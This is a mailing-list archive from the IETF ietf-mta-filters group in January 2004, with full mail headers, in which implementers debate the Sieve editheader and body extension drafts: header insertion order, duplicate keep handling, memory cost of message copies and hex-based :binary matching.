owner-ietf-mta-filters@mail.imc.org using -f Received: from starship.enterprise.ucs.ed.ac.uk (starship.enterprise.ucs.ed.ac.uk [129.215.40.70]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i083L9ib098604 for <ietf-mta-filters@imc.org>; Wed, 7 Jan 2004 19:21:10 -0800 (PST) (envelope-from nigel.swinson@rockliffe.com) Received: from SCOTTY (unverified [129.215.188.53]) by starship.enterprise.ucs.ed.ac.uk (Rockliffe SMTPRA 5.3.3) with ESMTP id <B0000011341@starship.enterprise.ucs.ed.ac.uk>; Thu, 8 Jan 2004 02:59:11 +0000 Message-ID: <015d01c3d593$647565b0$662c2a0a@rockliffe.com> From: "Nigel Swinson" <nigel.swinson@rockliffe.com> To: "Jutta Degener" <jutta@sendmail.com>, "Mark E. Mallett" <mem@mv.mv.com> Cc: <ietf-mta-filters@imc.org> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> Subject: Re: draft-degener-sieve-editheader-01.txt Date: Thu, 8 Jan 2004 02:59:11 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> > > > A message modified by addheader or deleteheader MUST NOT > > > be considered the same as the original message unless it > > > matches the original message exactly. > > > > > > For example, the following code fragment > > > > > > keep; > > > addheader "X-Flavor: vanilla" > > > keep; > > > > > > files two messages, not one. The above represents a problem for those of us who have read section 2.10.6 of 3028 and decided to do a full execution of the script, then apply all actions.... if we come across a script like this: keep; addheader "X-Flavor: vanilla" keep; addheader "X-Flavor: strawberry" keep; addheader "X-Flavor: chocolate" keep; addheader "X-Flavor: pistachio" keep; addheader "X-Flavor: bannana" keep; And we are filtering a large message (Say 20MB), then the simple and obvious implementation is going to have to freeze a copy of the message every time it sees fileinto/redirect/keep and then if it sees addheader/removeheader it will need to create a copy of the message. This means that with the above script we'll end up with 6 different copies of the message = 120MB of memory/storage. Sounds like a potential security hole. So it seems that as it is written, editheader is putting strong bias on "take actions as you go" implementations. Do we want do do this? I can't see that the above functionality is really all that useful, so at the moment I'm inclined to say that we move more towards section "2.10.3 Message Uniqueness in a Mailbox" of 3028 which says: Implementations SHOULD NOT deliver a message to the same folder more than once, even if a script explicitly asks for a message to be written to a mailbox twice. I think it makes it too complicated to consider there to be any more than one "message" in context when processing the script. So what should the keep/addheader/keep script do? I recon it files one copy of the message into the inbox, and the implementation is free to either add the version with or without the header. If the user really wants to keep a copy that does NOT have the header, then they do keep/stop. If they want one with the header they do addheader/keep. I know some will probably not like the above, but then 3028 already permits implementations to operate differently WRT to some situations like catching errors. ie an "action-as-you-go" with a fileinto/reject/reject script may file the message before producing an error, so I think it would be ok for this slightly peculiar case to operate in an implementation specific way. Nigel Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i081o5ib091814 for <ietf-mta-filters-bks@above.proper.com>; Wed, 7 Jan 2004 17:50:05 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i081o5TN091813 for ietf-mta-filters-bks; Wed, 7 Jan 2004 17:50:05 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i081o4ib091804 for <ietf-mta-filters@imc.org>; Wed, 7 Jan 2004 17:50:04 -0800 (PST) (envelope-from jutta@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i081o6Ti009536 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Wed, 7 Jan 2004 17:50:06 -0800 (PST) Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i081o5gF006098; Wed, 7 Jan 2004 17:50:06 -0800 Received: by jutta.sendmail.com (Postfix, from userid 500) id 0497D179C2; Wed, 7 Jan 2004 17:50:03 -0800 (PST) Date: Wed, 7 Jan 2004 17:50:03 -0800 From: Jutta Degener <jutta@sendmail.com> To: "Mark E. Mallett" <mem@mv.mv.com> Cc: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-body-02.txt Message-ID: <20040108015003.GC3244@jutta.sendmail.com> References: <20040107235630.GA20820@iridium.mv.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040107235630.GA20820@iridium.mv.net> User-Agent: Mutt/1.3.24i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> On Wed, Jan 07, 2004 at 06:56:30PM -0500, Mark E. Mallett wrote: > > In the new :binary stuff: > > > Unlike in :content, the charset of the :binary MIME content is > > disregarded. Instead, the match against the keys provided in > > the "body" statement proceeds as if the file's content data had > > been translated into space-separated hex bytes of the form > > [0-9a-f][0-9a-f] prior to matching > > It would be nice to consider whitespace in the pattern as > insignificant, At first, I figured it just would be binary strings. But that doesn't work with everything being UTF-8. There are lots of binary strings that aren't valid UTF-8. I then tried pretending the binary is ISO-8859-1 and encoding it in UTF-8. But that's really too silly to explain, there are binary sequences that aren't valid ISO-8859-1, and most humans are bad at doing ISO-8859-1-to-UTF-8 conversions in their head. Okay, so we're matching against a hexdump. Easy. Everybody likes hexdumps. But that doesn't give you a way around nybble-shift -- matching hex f5 in "ow" (6f57). Finally, the space-separated bytes were a way of anchoring the nybbles and still having a readable string that can be used with existing string match mechanisms like :contains and :matches. If you want to send a white-space-normalizer into the world, you could do that as a generic comparator and make a lot of sense in a lot of different contexts. But by completely disregarding white space, you'd do more harm than good in the context of matching a hexdump. > especially since one has to transform it anyway in order > to do the comparison. Given the ability to match against that white space and individual nybbles (I'm not happy about that, but restricting it added more warts than it fixed), the transformation to binary that you may have in mind doesn't quite work in the general case anyway. > For another, if whitespace is allowed at all, why > not let the script writer feel free to use it the way they > want to.. I could do that, but then I'd have to toss use of the existing match types and define my own just for binary. I didn't think the extra mechanism was worth it. > And speaking of variables, is it reasonable to make some note about > whether the matched strings are available to the variables extension? Given how hard to implement that is, it probably should! What do you think it should it say? Jutta <jutta@sendmail.com> Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i080rgib087979 for <ietf-mta-filters-bks@above.proper.com>; Wed, 7 Jan 2004 16:53:42 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i080rgZF087978 for ietf-mta-filters-bks; Wed, 7 Jan 2004 16:53:42 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i080reib087972 for <ietf-mta-filters@imc.org>; Wed, 7 Jan 2004 16:53:40 -0800 (PST) (envelope-from jutta@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i080re67000739 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Wed, 7 Jan 2004 16:53:40 -0800 (PST) Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i080rd8T018836; Wed, 7 Jan 2004 16:53:40 -0800 Received: by jutta.sendmail.com (Postfix, from userid 500) id 0C370179C2; Wed, 7 Jan 2004 16:53:38 -0800 (PST) Date: Wed, 7 Jan 2004 16:53:37 -0800 From: Jutta Degener <jutta@sendmail.com> To: "Mark E. Mallett" <mem@mv.mv.com> Cc: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt Message-ID: <20040108005337.GB3244@jutta.sendmail.com> References: <20040107230304.GA7713@iridium.mv.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040107230304.GA7713@iridium.mv.net> User-Agent: Mutt/1.3.24i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> On Wed, Jan 07, 2004 at 06:03:04PM -0500, Mark E. Mallett wrote: > Two very interesting changes in this draft: > > > "addheader" [":last"] <name: string> <value: string> > > > > By default, the header field is inserted at the beginning of > > the existing header. If the optional flag ":last" is > > specified, it is appended at the end. > > What's the rationale? So far (i.e., without hearing more), I liked it > better the way it was: the default being to add the header at the end, > not the beginning. I would not mind seeing a ":first" to alter that > behaviour though. It's much easier to insert a header field at the beginning of a header (one simply sends that header field, then the text of a message). Perhaps as a result of that, the fields at the beginning of the message have taken on the character of a delivery "trace", while the fields at the end of the block typically were inserted by the client. Some people who talked to me felt very strongly that additions to the trace section in the right place were more in keeping with what's considered allowable header modifications, while inserting in the middle, with no way of tracking who did that, should only happen if explicitly requested. As one of the people who occasionally has to decipher the traces to figure out where some problem originates, that made intuitive sense to me. > and: > > > A message modified by addheader or deleteheader MUST NOT > > be considered the same as the original message unless it > > matches the original message exactly. > > > > For example, the following code fragment > > > > keep; > > addheader "X-Flavor: vanilla" > > keep; > > > > files two messages, not one. > > I see where that is coming from. If you do a "keep" after changing > the header, it's assumed that you really meant it; and if weeding out > duplicate "keep" operations prevents that, then you have lost some > change. However: you have not lost the message unless some prior > action had deliberately caused it; any weeding out represents a script > error rather than loss of the message, so I am not sure this is an > improvement. In an ambiguous and possibly erroneous situation, I prefer to err on the side of shorter explanations and more saved information. > One alternative: make a note that the message has changed, and if so, > inhibit any subsequent de-duplication logic on the next action only. That seems difficult to explain. I don't see why the first of any number of duplicate fileinto's etc. should receive preferential treatment. > BTW, in the absence of a "changed" flag, this new philosophy might also > imply that implicit keep is once again turned on (if it had been > turned off). Whether it is or is not is now ambiguous. It is my intention that the implicit keep should _not_ be restored after a header modification. I'll weaken the section on weeding out duplicates to (hopefully) be less likely to inspire that idea. > And.. what about replaceheader? As mentioned in section 9.1, replaceheader is no longer in the draft. My implementation still has it, but it's a vendor-specific extension after encountering determined opposition from some members of the work group. If you implement it, the rules with respect to duplication would be the same as for add- and deleteheader. Jutta <jutta@sendmail.com> Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07NuWib083786 for <ietf-mta-filters-bks@above.proper.com>; Wed, 7 Jan 2004 15:56:32 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i07NuW8V083785 for ietf-mta-filters-bks; Wed, 7 Jan 2004 15:56:32 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i07NuUib083780 for <ietf-mta-filters@imc.org>; Wed, 7 Jan 2004 15:56:30 -0800 (PST) (envelope-from mem@mv.mv.com) Received: (qmail 1488 invoked from network); 7 Jan 2004 18:56:32 -0500 Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 7 Jan 2004 18:56:32 -0500 X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net Received: (qmail 27708 invoked by uid 101); 7 Jan 2004 18:56:30 -0500 From: "Mark E. Mallett" <mem@mv.mv.com> Date: Wed, 7 Jan 2004 18:56:30 -0500 To: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-body-02.txt Message-ID: <20040107235630.GA20820@iridium.mv.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> In the new :binary stuff: > Unlike in :content, the charset of the :binary MIME content is > disregarded. Instead, the match against the keys provided in > the "body" statement proceeds as if the file's content data had > been translated into space-separated hex bytes of the form > [0-9a-f][0-9a-f] prior to matching It would be nice to consider whitespace in the pattern as insignificant, especially since one has to transform it anyway in order to do the comparison. For one thing, at some point variable substitution is likely to come up (even if it isn't referred to here), and one shouldn't have to worry about framing the binary data with spaces properly. For another, if whitespace is allowed at all, why not let the script writer feel free to use it the way they want to.. And speaking of variables, is it reasonable to make some note about whether the matched strings are available to the variables extension? Yours, mm Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07N34ib079821 for <ietf-mta-filters-bks@above.proper.com>; Wed, 7 Jan 2004 15:03:04 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i07N34eo079820 for ietf-mta-filters-bks; Wed, 7 Jan 2004 15:03:04 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i07N33ib079813 for <ietf-mta-filters@imc.org>; Wed, 7 Jan 2004 15:03:03 -0800 (PST) (envelope-from mem@mv.mv.com) Received: (qmail 22983 invoked from network); 7 Jan 2004 18:03:04 -0500 Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 7 Jan 2004 18:03:04 -0500 X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net Received: (qmail 1596 invoked by uid 101); 7 Jan 2004 18:03:04 -0500 From: "Mark E. Mallett" <mem@mv.mv.com> Date: Wed, 7 Jan 2004 18:03:04 -0500 To: ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt Message-ID: <20040107230304.GA7713@iridium.mv.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> Two very interesting changes in this draft: > "addheader" [":last"] <name: string> <value: string> > > By default, the header field is inserted at the beginning of > the existing header. If the optional flag ":last" is > specified, it is appended at the end. What's the rationale? So far (i.e., without hearing more), I liked it better the way it was: the default being to add the header at the end, not the beginning. I would not mind seeing a ":first" to alter that behaviour though. and: > A message modified by addheader or deleteheader MUST NOT > be considered the same as the original message unless it > matches the original message exactly. > > For example, the following code fragment > > keep; > addheader "X-Flavor: vanilla" > keep; > > files two messages, not one. I see where that is coming from. If you do a "keep" after changing the header, it's assumed that you really meant it; and if weeding out duplicate "keep" operations prevents that, then you have lost some change. However: you have not lost the message unless some prior action had deliberately caused it; any weeding out represents a script error rather than loss of the message, so I am not sure this is an improvement. On the flip side, anyone who has depended on duplicate "keep" operations being weeded out will be surprised by having two messages filed. Likely if you have done a "keep" in the same code area as the addheader, you probably do want the second copy. But in another case? Not so clear, especially if you have done something else with the message after changing the header. One alternative: make a note that the message has changed, and if so, inhibit any subsequent de-duplication logic on the next action only. So the next "keep" would succeed unless (e.g.) "redirect" were done first. This would introduce a new "changed" flag, but this new text introduces that concept anyway. That's not as perfect as, say, views, but it's no worse than the suggested one. BTW, in the absence of a "changed" flag, this new philosophy might also imply that implicit keep is once again turned on (if it had been turned off). Whether it is or is not is now ambiguous. And.. what about replaceheader? I would assume that any change made by replaceheader would also cause the message to be considered "different" -- but that new text explicitly calls out "editheader" and "deleteheader" without mentioning "replaceheader," so it seems deliberate. Yours, mm
- Please review ; Sieve Statistics and Sieve remove… Madan Ganesh Velayudham
- Re: Please review ; Sieve Statistics and Sieve re… Lyndon Nerenberg
- Re: Please review ; Sieve Statistics and Sieve re… Madan Ganesh Velayudham
- Re: Please review ; Sieve Statistics and Sieve re… Nigel Swinson
- Re: Please review ; Sieve Statistics and Sieve re… Lyndon Nerenberg
- Re: Please review ; Sieve Statistics and Sieve re… Madan Ganesh Velayudham